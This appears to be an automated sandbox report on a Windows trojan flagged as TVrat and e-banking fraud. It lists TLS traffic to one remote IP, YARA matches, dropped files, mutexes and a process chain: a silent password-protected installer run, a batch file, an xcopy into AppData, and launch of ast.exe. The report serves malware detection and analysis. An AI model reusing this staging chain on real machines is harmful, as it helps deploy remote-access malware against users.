Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50166
Source: unknown	Network traffic detected: HTTP traffic on port 50115 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50169
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50160 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989

Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49844 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49884 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49905 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49913 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49940 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49956 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49964 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49980 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50127 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50130 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50151 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50175 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50187 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.4:50190 version: TLS 1.2

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: ast.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

E-Banking Fraud

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

Source: C:\Users\user\AppData\Roaming\im\ast.exe

Code function: 10_2_6B8D8010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

10_2_6B8D8010

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8FFEF0	10_2_6B8FFEF0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F6EF0	10_2_6B8F6EF0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8D2D20	10_2_6B8D2D20
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8D7380	10_2_6B8D7380
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8E8A80	10_2_6B8E8A80
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8E3A10	10_2_6B8E3A10
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B910A40	10_2_6B910A40
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8DF950	10_2_6B8DF950
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F1170	10_2_6B8F1170
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B920050	10_2_6B920050
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8FA790	10_2_6B8FA790
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8D7730	10_2_6B8D7730
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B906F40	10_2_6B906F40
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8DEEA0	10_2_6B8DEEA0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B9075D0	10_2_6B9075D0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8FDCD0	10_2_6B8FDCD0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B92BCF0	10_2_6B92BCF0
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: 10_2_6B8F0C10	10_2_6B8F0C10

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: String function: 6B91ED00 appears 32 times
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: String function: 6B8F48E0 appears 32 times
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: String function: 6B9006B0 appears 180 times
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Code function: String function: 6B9005D0 appears 213 times

Source: wjpP1EOX0L.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: wjpP1EOX0L.tmp.0.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Source: wjpP1EOX0L.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
Source: wjpP1EOX0L.tmp.2.dr	Static PE information: Resource name: RT_RCDATA type: PE32 executable (DLL) (GUI) Intel 80386 (stripped to external PDB), for MS Windows

Source: wjpP1EOX0L.exe, 00000000.00000003.1711597591.0000000002576000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs wjpP1EOX0L.exe
Source: wjpP1EOX0L.exe, 00000000.00000003.1711898611.000000007FE32000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameshfolder.dll~/ vs wjpP1EOX0L.exe

Source: wjpP1EOX0L.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: classification engine

Classification label: mal68.troj.evad.winEXE@15/60@11/3

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkslNBC07263F-BB1A-48FB-BEDA-5E5CFBC91BB8
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7800:120:WilError_03
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\NULL
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\3 @
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkwrNBC07263F-BB1A-48FB-BEDA-5E5CFBC91BB8
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\U SVW3 E E E
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\02CC837A-11F4-4C58-AE40-A04E18FF470Dv6

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe

File created: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp

Jump to behavior

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2386068044.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\im\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\mo6x\is-ERH6U.tmp, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\mo6x\xuwl3fl.bat""

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\Users\user\AppData\Roaming\im\ast.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Jump to behavior

Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: wjpP1EOX0L.tmp, 00000003.00000003.2082364759.000000000701D000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000009.00000003.2385054264.00000000033F8000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2515561048.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: wjpP1EOX0L.exe

String found in binary or memory: /LOADINF="filename"

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe

File read: C:\Users\user\Desktop\wjpP1EOX0L.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\wjpP1EOX0L.exe "C:\Users\user\Desktop\wjpP1EOX0L.exe"
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp "C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp" /SL5="$20476,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe"
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process created: C:\Users\user\Desktop\wjpP1EOX0L.exe "C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp "C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp" /SL5="$2047E,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\mo6x\xuwl3fl.bat""
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\mo6x\*" "C:\Users\user\AppData\Roaming\im\"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\im\ast.exe "C:\Users\user\AppData\Roaming\im\ast.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\im\ast.exe "C:\Users\user\AppData\Roaming\im\ast.exe"
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process created: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp "C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp" /SL5="$20476,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Process created: C:\Users\user\Desktop\wjpP1EOX0L.exe "C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Process created: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp "C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp" /SL5="$2047E,6422358,121344,C:\Users\user\Desktop\wjpP1EOX0L.exe" /verysilent /password=uzx1m	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-9TM7I.tmp\wjpP1EOX0L.tmp	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\mo6x\xuwl3fl.bat""	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\xcopy.exe xcopy /Y /I /S "C:\Users\user\AppData\Local\Temp\mo6x\*" "C:\Users\user\AppData\Roaming\im\"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Roaming\im\ast.exe "C:\Users\user\AppData\Roaming\im\ast.exe"	Jump to behavior

Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\wjpP1EOX0L.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-JOUMC.tmp\wjpP1EOX0L.tmp	Section loaded: netutils.dll	Jump to behavior
